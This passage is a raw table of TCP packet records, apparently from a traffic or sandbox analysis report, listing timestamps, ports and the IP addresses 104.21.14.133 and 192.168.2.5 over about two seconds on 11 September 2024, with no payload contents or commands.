Sep 11, 2024 18:23:55.189817905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189821005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189824104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189827919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189832926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189836025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.189846992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189857960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.189874887 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.190028906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190032959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190037012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190046072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190047979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190052032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190056086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190058947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190079927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.190093994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.190785885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190809011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190813065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190860987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190864086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190866947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190867901 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.190875053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190877914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190881968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.190911055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.190920115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.191021919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191025019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191029072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191036940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191040993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191044092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191051960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191071987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.191082001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.191102028 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.191169024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191374063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191378117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191391945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191395998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191399097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191401958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191406965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191412926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191417933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191422939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191426039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191430092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191431046 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.191438913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191442966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191447973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.191458941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.191473007 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.191497087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.192024946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.192028999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.192034006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.192082882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.192234993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.192238092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.192243099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.192290068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.193190098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193193913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193206072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193217039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193219900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193223953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193233967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193238020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193242073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193249941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.193262100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.193281889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.193404913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193408966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193413019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193423033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.193454981 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.203855991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.203883886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.203886986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.203926086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.203955889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.203986883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.242187023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242357016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242361069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242369890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242373943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242377996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242386103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242391109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.242440939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.242477894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.282128096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282131910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282135010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282208920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282211065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:55.282212019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282216072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282223940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282227993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282231092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:55.282270908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.445859909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445903063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445914030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445931911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445941925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445950985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445961952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445971966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.445981979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446029902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446085930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446137905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446150064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446157932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446166992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446178913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446187973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446197987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446199894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446208954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446218014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446223021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446232080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446244001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446248055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446253061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446263075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446279049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446294069 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446345091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446497917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446507931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446516991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446527958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446537018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446547985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446552038 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446557999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446567059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446577072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446587086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446597099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446628094 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446650028 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446861982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446871042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446876049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446885109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.446918011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.446942091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447012901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447024107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447032928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447042942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447052956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447063923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447067976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447072983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447084904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447096109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447098017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447105885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447115898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447125912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447138071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447145939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447149038 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447154999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447165966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447177887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447180033 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447189093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447197914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447208881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447210073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447217941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447227955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447233915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447238922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447248936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447258949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447271109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447278976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447279930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447289944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447315931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447343111 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447671890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447683096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447691917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447704077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447715044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447725058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447737932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447743893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447747946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447758913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447770119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447778940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447788000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447796106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447801113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447810888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447820902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447824001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447833061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447841883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447850943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447854042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447861910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447870970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447880030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447884083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447890997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.447911024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.447936058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448117971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448127985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448137045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448148012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448180914 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448218107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448281050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448292971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448301077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448309898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448318958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448329926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448334932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448338985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448354959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448364973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448367119 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448374033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448383093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448394060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448401928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448402882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448411942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448421955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448431015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448431969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448441029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448457003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448467016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448470116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448477983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448488951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448499918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448508978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448517084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448522091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448527098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448539972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448549986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448559046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448570013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448570013 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448580980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448590994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448599100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448602915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448612928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448621988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.448626995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.448669910 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.449131012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.449143887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.449213982 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.450155973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.450208902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.452440977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.452496052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:56.955229998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:56.955338001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.059005976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059077024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059086084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059093952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059096098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.059103012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059130907 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.059154987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.059587002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059596062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059604883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059614897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059623957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.059642076 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.059680939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.060314894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060323954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060332060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060342073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060350895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060359001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060367107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.060369015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060376883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060386896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060389996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.060395956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060405970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060415030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.060422897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.060439110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.060458899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.061399937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061408997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061417103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061425924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061434984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061444044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061450958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.061451912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061460018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061463118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.061472893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061481953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061490059 CEST	80	49710	104.21.14.133	192.168.2.5
